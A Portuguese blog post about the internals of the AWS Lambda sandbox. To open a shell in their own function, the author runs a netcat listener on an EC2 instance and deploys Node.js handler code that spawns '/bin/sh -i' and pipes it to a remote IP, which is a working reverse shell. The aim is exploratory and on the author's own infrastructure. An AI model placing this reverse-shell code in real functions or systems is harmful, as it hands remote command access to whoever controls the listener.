Olá, pessoal! Tudo bem?
Hoje vou falar de um um experimento que fiz recentemente com AWS Lambda, para uma palestra que ministrei na 13ª edição do AWS Meetup – Porto Alegre.
Como todo bom curioso, desde que comecei a trabalhar com Lambda, sempre quis conhecer a arquitetura projetada pela AWS que suporta esta excelente tecnologia. Apesar de ter feito algumas pesquisas a algum tempo, não localizei nenhuma documentação sobre o assunto. O que é plausível, visto que a AWS não quer que o cliente tenha esse tipo de preocupação.
Para minha felicidade, no re:Invent 2018 a arquitetura foi apresentada, sem muito detalhamento, mas com clareza suficiente para permitir o seu entendimento. Para quem quiser conhecer um pouco mais sobre o tema, segue o vídeo que esclareceu algumas das minhas dúvidas:
A apresentação acima é bem interessante. Nela é retratado um overview geral da arquitetura da AWS Lambda, a estrutura de um worker, a integração com uma VPC, entre alguns outros tópicos.
Porém, eu queria ir um pouco mais além em minha pesquisa, e entender a estrutura do sandbox (container) onde executa a Lambda. Fazendo mais algumas consultas, descobri que era possível usar o Netcat para fazer um reverse shell e acessar o sandbox. Então, para começar a brincadeira, criei a estrutura abaixo, permitindo a comunicação entre uma EC2 e a lambda que seria estudada, dentro de uma VPC.

A EC2 selecionada foi uma t2.micro com Ubuntu. Nela, iniciei um listener do netcat com o comando: nc -lvp 8089
.

Para a lambda, selecionei Node.js como a linguagem a ser utilizada. No handler da função, eu abri um novo shell (sh) em modo interativo, iniciei uma conexão com o netcat rodando na EC2, e redirecionei o input e os outputs do shell para o socket criado. O código abaixo também está no github:
const net = require('net');
const cp = require('child_process')
exports.handler = (event) => {
const process = cp.spawn('/bin/sh', ['-i']);
const socket = new net.Socket();
socket.connect(event.port, event.ip, function () {
socket.pipe(process.stdin);
process.stdout.pipe(socket);
process.stderr.pipe(socket);
});
};
Importante: Para quem quiser efetuar o teste, não se esqueçam de liberar o acesso da Lambda no Security Group da EC2.
Feito isto, bastou executar um teste na Lambda, no próprio console, passando o IP da EC2 e a porta onde está rodando o Netcat, no payload da Lambda. É importante deixar o timeout da lambda bem alto, para evitar que ela pare a execução durante o acesso ao sandbox (eu deixei 15 minutos).



Dentro do sandbox, gostaria de salientar dois diretórios que considero importantes:
- /var/task: Onde está localizado o código da função;
- /var/runtime: Onde está localizado a runtime da linguagem selecionada (no caso, Node.js).
E na runtime, alguns módulos que valem ser mencionados são:
- Runtime.js: Constrói os contextos (Invoke e Callback) e gerencia o fluxo de execução da lambda;
- RAPIDClient.js: Este é o cliente que será usado pelo runtime.js para acessar a camada da Runtime API;
- UserFunction.js: Este é um módulo bem simples, mas que é responsável por carregar o handler da função do usuário, que posteriormente será enviado a runtime.
Conclusão
Alguns vão me perguntar: por que aprender internals da AWS Lambda? A resposta mais rápida é: Para quem é curioso, isso é muito legal 😁. Mas em uma perspectiva mais séria, acredito que entendendo um pouco do funcionamento interno de uma tecnologia, podemos ter melhores insights ao projetarmos algum artefato que a utilize, além de auxiliar no entendimento de comportamentos incomuns e identificação de problemas.
Um grande abraço, e até a próxima!